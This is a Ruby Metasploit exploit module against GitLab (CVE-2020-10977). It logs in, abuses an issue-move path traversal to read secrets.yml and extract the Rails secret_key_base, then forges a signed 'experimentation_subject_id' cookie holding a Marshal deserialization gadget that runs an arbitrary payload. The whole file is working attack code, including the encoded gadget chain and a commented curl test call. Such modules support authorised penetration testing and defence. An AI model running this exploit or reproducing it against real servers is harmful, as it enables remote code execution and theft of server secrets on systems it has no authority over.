##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  # From Rails
  class MessageVerifier

    class InvalidSignature < StandardError
    end

    def initialize(secret, options = {})
      @secret = secret
      @digest = options[:digest] || 'SHA1'
      @serializer = options[:serializer] || Marshal
    end

    def generate(value)
      data = ::Base64.strict_encode64(@serializer.dump(value))
      "#{data}--#{generate_digest(data)}"
    end

    def generate_digest(data)
      require 'openssl' unless defined?(OpenSSL)
      OpenSSL::HMAC.hexdigest(OpenSSL::Digest.const_get(@digest).new, @secret, data)
    end

  end

  class NoopSerializer
    def dump(value)
      value
    end
  end

  class KeyGenerator

    def initialize(secret, options = {})
      @secret = secret
      @iterations = options[:iterations] || 2**16
    end

    def generate_key(salt, key_size = 64)
      OpenSSL::PKCS5.pbkdf2_hmac_sha1(@secret, salt, @iterations, key_size)
    end

  end

  class GitLabClientException < StandardError; end

  class GitLabClient
    def initialize(http_client)
      @http_client = http_client
    end

    def sign_in(username, password)
      @http_client.cookie_jar.clear

      sign_in_path = '/users/sign_in'
      csrf_token = extract_csrf_token(
        path: sign_in_path,
        regex: %r{action="/users/sign_in".*name="authenticity_token"\s+value="([^"]+)"}
      )
      res = @http_client.send_request_cgi({
        'method' => 'POST',
        'uri' => '/users/sign_in',
        'keep_cookies' => true,
        'vars_post' => {
          'utf8' => '✓',
          'authenticity_token' => csrf_token,
          'user[login]' => username,
          'user[password]' => password,
          'user[remember_me]' => 0
        }
      })

      if res.nil? || res.body.nil?
        raise GitLabClientException, 'Empty response. Please validate RHOST'
      elsif res.body.include?('Invalid Login or password')
        raise GitLabClientException, 'Username or password invalid'
      elsif res.code != 302
        raise GitLabClientException, "Unexpected HTTP #{res.code} response."
      elsif res.headers.fetch('Location', '').include?(sign_in_path)
        raise GitLabClientException, 'Login not successful. The account may need activated. Verify login works manually.'
      end

      current_user
    end

    def current_user
      res = http_client.send_request_cgi({
        'method' => 'GET',
        'uri' => '/api/v4/user',
        'keep_cookies' => true
      })

      if res.nil? || res.body.nil?
        raise GitLabClientException, 'Empty response. Please validate RHOST'
      elsif res.code != 200
        raise GitLabClientException, "Unexpected HTTP #{res.code} response."
      end

      JSON.parse(res.body)
    end

    def version
      res = http_client.send_request_cgi({
        'method' => 'GET',
        'uri' => '/api/v4/version',
        'keep_cookies' => true
      })

      if res.nil? || res.body.nil?
        raise GitLabClientException, 'Empty response. Please validate RHOST'
      elsif res.code != 200
        raise GitLabClientException, "Unexpected HTTP #{res.code} response."
      end

      JSON.parse(res.body)
    end

    def create_project(user:)
      new_project_path = '/projects/new'
      create_project_path = '/projects'

      csrf_token = extract_csrf_token(
        path: new_project_path,
        regex: /action="#{create_project_path}".*name="authenticity_token"\s+value="([^"]+)"/
      )
      project_name = Rex::Text.rand_text_alphanumeric(8)
      res = http_client.send_request_cgi({
        'method' => 'POST',
        'uri' => create_project_path,
        'keep_cookies' => true,
        'vars_post' => {
          'utf8' => '✓',
          'authenticity_token' => csrf_token,
          'project[ci_cd_only]' => 'false',
          'project[name]' => project_name,
          'project[namespace_id]' => (user['id']).to_s,
          'project[path]' => project_name,
          'project[description]' => Rex::Text.rand_text_alphanumeric(8),
          'project[visibility_level]' => '0'
        }
      })

      if res.nil? || res.body.nil?
        raise GitLabClientException, 'Empty response. Please validate RHOST'
      elsif res.body.include?('Namespace is not valid')
        raise GitLabClientException, 'This uer can not create additional projects, please delete some'
      elsif res.code != 302
        raise GitLabClientException, "Unexpected HTTP #{res.code} response."
      end

      project(user: user, project_name: project_name)
    end

    def project(user:, project_name:)
      project_path = "/#{user['username']}/#{project_name}"
      res = http_client.send_request_cgi({
        'method' => 'GET',
        'uri' => project_path,
        'keep_cookies' => true
      })
      if res.nil? || res.body.nil?
        raise GitLabClientException, 'Empty response. Please validate RHOST'
      elsif res.code != 200
        raise GitLabClientException, "Unexpected HTTP #{res.code} response."
      end

      project_id = res.body[/Project ID: (\d+)/, 1]
      {
        'id' => project_id,
        'name' => project_name,
        'path' => project_path,
        'edit_path' => "#{project_path}/edit",
        'delete_path' => "/#{user['username']}/#{project_name}"
      }
    end

    def delete_project(project:)
      edit_project_path = project['edit_path']
      delete_project_path = project['delete_path']

      csrf_token = extract_csrf_token(
        path: edit_project_path,
        regex: /action="#{delete_project_path}".*name="authenticity_token" value="([^"]+)"/
      )
      res = http_client.send_request_cgi({
        'method' => 'POST',
        'uri' => delete_project_path,
        'keep_cookies' => true,
        'vars_post' => {
          'utf8' => '✓',
          'authenticity_token' => csrf_token,
          '_method' => 'delete'
        }
      })

      if res.nil? || res.body.nil?
        raise GitLabClientException, 'Empty response. Please validate RHOST'
      elsif res.code != 302
        raise GitLabClientException, "Unexpected HTTP #{res.code} response."
      end

      true
    end

    def create_issue(project:, issue:)
      new_issue_path = "#{project['path']}/issues/new"
      create_issue_path = "#{project['path']}/issues"

      csrf_token = extract_csrf_token(
        path: new_issue_path,
        regex: /action="#{create_issue_path}".*name="authenticity_token"\s+value="([^"]+)"/
      )
      res = http_client.send_request_cgi({
        'method' => 'POST',
        'uri' => create_issue_path,
        'keep_cookies' => true,
        'vars_post' => {
          'utf8' => '✓',
          'authenticity_token' => csrf_token,
          'issue[title]' => issue['title'] || Rex::Text.rand_text_alphanumeric(8),
          'issue[description]' => issue['description'] || Rex::Text.rand_text_alphanumeric(8),
          'issue[confidential]' => '0',
          'issue[assignee_ids][]' => '0',
          'issue[label_ids][]' => '',
          'issue[due_date]' => '',
          'issue[lock_version]' => '0'
        }
      })

      if res.nil? || res.body.nil?
        raise GitLabClientException, 'Empty response. Please validate RHOST'
      elsif res.code != 302
        raise GitLabClientException, "Unexpected HTTP #{res.code} response."
      end

      issue_id = res.body[%r{You are being <a href="https?://.*#{create_issue_path}/(\d+)">redirected</a>}, 1]

      issue.merge({
        'path' => "#{create_issue_path}/#{issue_id}",
        'move_path' => "#{create_issue_path}/#{issue_id}/move"
      })
    end

    def move_issue(issue:, target_project:)
      issue_path = issue['path']
      move_issue_path = issue['move_path']

      csrf_token = extract_csrf_token(
        path: issue_path,
        regex: /name="csrf-token" content="([^"]+)"/
      )

      res = http_client.send_request_cgi({
        'method' => 'POST',
        'uri' => move_issue_path,
        'keep_cookies' => true,
        'ctype' => 'application/json',
        'headers' => {
          'X-CSRF-Token' => csrf_token,
          'X-Requested-With' => 'XMLHttpRequest'
        },
        'data' => {
          'move_to_project_id' => (target_project['id']).to_s
        }.to_json
      })

      if res.nil? || res.body.nil?
        raise GitLabClientException, 'Empty response. Please validate RHOST'
      elsif res.code != 200
        raise GitLabClientException, "Unexpected HTTP #{res.code} response."
      end

      json_res = JSON.parse(res.body)

      {
        'path' => json_res['web_url'],
        'description' => json_res['description']
      }
    end

    def download(project:, path:)
      res = http_client.send_request_cgi({
        'method' => 'GET',
        'uri' => "#{project['path']}/#{path}",
        'keep_cookies' => true
      })

      if res.nil? || res.body.nil?
        raise GitLabClientException, 'Empty response. Please validate RHOST'
      elsif res.code != 200
        raise GitLabClientException, "Unexpected HTTP #{res.code} response."
      end

      res.body
    end

    private

    attr_reader :http_client

    def extract_csrf_token(path:, regex:)
      res = http_client.send_request_cgi({
        'method' => 'GET',
        'uri' => path,
        'keep_cookies' => true
      })

      if res.nil? || res.body.nil?
        raise GitLabClientException, 'Empty response. Please validate RHOST'
      elsif res.code != 200
        raise GitLabClientException, "Unexpected HTTP #{res.code} response."
      end

      token = res.body[regex, 1]
      if token.nil?
        raise GitLabClientException, 'Could not successfully extract CSRF token'
      end

      token
    end
  end

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'GitLab File Read Remote Code Execution',
        'Description' => %q{
          This module provides remote code execution against GitLab Community
          Edition (CE) and Enterprise Edition (EE). It combines an arbitrary file
          read to extract the Rails "secret_key_base", and gains remote code
          execution with a deserialization vulnerability of a signed
          'experimentation_subject_id' cookie that GitLab uses internally for A/B
          testing.

          Note that the arbitrary file read exists in GitLab EE/CE 8.5 and later,
          and was fixed in 12.9.1, 12.8.8, and 12.7.8. However, the RCE only affects
          versions 12.4.0 and above when the vulnerable `experimentation_subject_id`
          cookie was introduced.

          Tested on GitLab 12.8.1 and 12.4.0.
        },
        'Author' =>
          [
            'William Bowling (vakzz)', # Discovery + PoC
            'alanfoster', # msf module
          ],
        'License' => MSF_LICENSE,
        'References' =>
          [
            ['CVE', '2020-10977'],
            ['URL', 'https://hackerone.com/reports/827052'],
            ['URL', 'https://about.gitlab.com/releases/2020/03/26/security-release-12-dot-9-dot-1-released/']
          ],
        'DisclosureDate' => '2020-03-26',
        'Platform' => 'ruby',
        'Arch' => ARCH_RUBY,
        'Privileged' => false,
        'Targets' => [['Automatic', {}]],
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options(
      [
        OptString.new('USERNAME', [false, 'The username to authenticate as']),
        OptString.new('PASSWORD', [false, 'The password for the specified username']),
        OptString.new('TARGETURI', [true, 'The path to the vulnerable application', '/users/sign_in']),
        OptString.new('SECRETS_PATH', [true, 'The path to the secrets.yml file', '/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml']),
        OptString.new('SECRET_KEY_BASE', [false, 'The known secret_key_base from the secrets.yml - this skips the arbitrary file read if present']),
        OptInt.new('DEPTH', [true, 'Define the max traversal depth', 15])
      ]
    )
    register_advanced_options(
      [
        OptString.new('SignedCookieSalt', [ true, 'The signed cookie salt', 'signed cookie']),
        OptInt.new('KeyGeneratorIterations', [ true, 'The key generator iterations', 1000])
      ]
    )
  end

  #
  # This stub ensures that the payload runs outside of the Rails process
  # Otherwise, the session can be killed on timeout
  #
  def detached_payload_stub(code)
    %^
    code = '#{Rex::Text.encode_base64(code)}'.unpack("m0").first
    if RUBY_PLATFORM =~ /mswin|mingw|win32/
      inp = IO.popen("ruby", "wb") rescue nil
      if inp
        inp.write(code)
        inp.close
      end
    else
      Kernel.fork do
        eval(code)
      end
    end
    {}
  ^.strip.split(/\n/).map(&:strip).join("\n")
  end

  def build_payload
    code = "eval('#{::Base64.strict_encode64(detached_payload_stub(payload.encoded))}'.unpack('m0').first)"

    # Originally created with Active Support 6.x
    #   code = '`curl 10.10.15.26`'
    #   erb = ERB.allocate; nil
    #   erb.instance_variable_set(:@src, code);
    #   erb.instance_variable_set(:@filename, "1")
    #   erb.instance_variable_set(:@lineno, 1)
    #   value = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
    #   Marshal.dump(value)
    "\x04\b" \
      'o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy' \
        "\t:\x0E@instance" \
          "o:\bERB" \
            "\b" \
              ":\t@src#{Marshal.dump(code)[2..-1]}" \
              ":\x0E@filename\"\x061" \
              ":\f@linenoi\x06" \
          ":\f@method:\vresult" \
          ":\t@var\"\f@result" \
        ":\x10@deprecatorIu:\x1FActiveSupport::Deprecation\x00\x06:\x06ET"
  end

  def sign_payload(secret_key_base, payload)
    key_generator = KeyGenerator.new(secret_key_base, { iterations: datastore['KeyGeneratorIterations'] })
    key = key_generator.generate_key(datastore['SignedCookieSalt'])
    verifier = MessageVerifier.new(key, { serializer: NoopSerializer.new })
    verifier.generate(payload)
  end

  def check
    validate_credentials_present!

    git_lab_client = GitLabClient.new(self)
    git_lab_client.sign_in(datastore['USERNAME'], datastore['PASSWORD'])
    version = Rex::Version.new(git_lab_client.version['version'][/(\d+.\d+.\d+)/, 1])

    # Arbitrary file reads are present from 8.5 and fixed in 12.9.1, 12.8.8, and 12.7.8
    # However, RCE is only available from 12.4 and fixed in 12.9.1, 12.8.8, and 12.7.8
    has_rce_present = (
      version.between?(Rex::Version.new('12.4.0'), Rex::Version.new('12.7.7')) ||
        version.between?(Rex::Version.new('12.8.0'), Rex::Version.new('12.8.7')) ||
        version == Rex::Version.new('12.9.0')
    )
    if has_rce_present
      return Exploit::CheckCode::Appears("GitLab #{version} is a vulnerable version.")
    end

    Exploit::CheckCode::Safe("GitLab #{version} is not a vulnerable version.")
  rescue GitLabClientException => e
    Exploit::CheckCode::Unknown(e.message)
  end

  def validate_credentials_present!
    missing_options = []

    missing_options << 'USERNAME' if datastore['USERNAME'].blank?
    missing_options << 'PASSWORD' if datastore['PASSWORD'].blank?

    if missing_options.any?
      raise Msf::OptionValidateError, missing_options
    end
  end

  def read_secret_key_base
    return datastore['SECRET_KEY_BASE'] if datastore['SECRET_KEY_BASE'].present?

    validate_credentials_present!
    git_lab_client = GitLabClient.new(self)
    user = git_lab_client.sign_in(datastore['USERNAME'], datastore['PASSWORD'])
    print_status("Logged in to user #{user['username']}")

    project_a = git_lab_client.create_project(user: user)
    print_status("Created project #{project_a['path']}")
    project_b = git_lab_client.create_project(user: user)
    print_status("Created project #{project_b['path']}")

    issue = git_lab_client.create_issue(
      project: project_a,
      issue: {
        'description' => "![#{Rex::Text.rand_text_alphanumeric(8)}](/uploads/#{Rex::Text.rand_text_numeric(32)}#{'/..' * datastore['DEPTH']}#{datastore['SECRETS_PATH']})"
      }
    )
    print_status("Created issue #{issue['path']}")

    print_status('Executing arbitrary file load')
    moved_issue = git_lab_client.move_issue(issue: issue, target_project: project_b)
    secrets_file_url = moved_issue['description'][/\[secrets.yml\]\((.*)\)/, 1]
    secrets_yml = git_lab_client.download(project: project_b, path: secrets_file_url)
    loot_path = store_loot('gitlab.secrets', 'text/plain', datastore['RHOST'], secrets_yml, 'secrets.yml')
    print_good("File saved as: '#{loot_path}'")

    secret_key_base = secrets_yml[/secret_key_base:\s+(.*)/, 1]
    if secret_key_base.nil?
      fail_with(Failure::UnexpectedReply, 'Unable to successfully extract leaked secret_key_base value')
    end

    print_good("Extracted secret_key_base #{secret_key_base}")
    print_status('NOTE: Setting the SECRET_KEY_BASE option with the above value will skip this arbitrary file read')

    secret_key_base
  rescue GitLabClientException => e
    fail_with(Failure::UnexpectedReply, e.message)
  ensure
    [project_a, project_b].each do |project|
      next unless project

      print_status("Attempting to delete project #{project['path']}")
      git_lab_client.delete_project(project: project)
      print_status("Deleted project #{project['path']}")
    rescue StandardError
      print_error("Failed to delete project #{project['path']}")
    end
  end

  def exploit
    secret_key_base = read_secret_key_base

    payload = build_payload
    signed_cookie_value = sign_payload(secret_key_base, payload)

    send_request_cgi({
      'uri' => normalize_uri(target_uri.path),
      'method' => 'GET',
      'cookie' => "experimentation_subject_id=#{signed_cookie_value}"
    })
  end
end
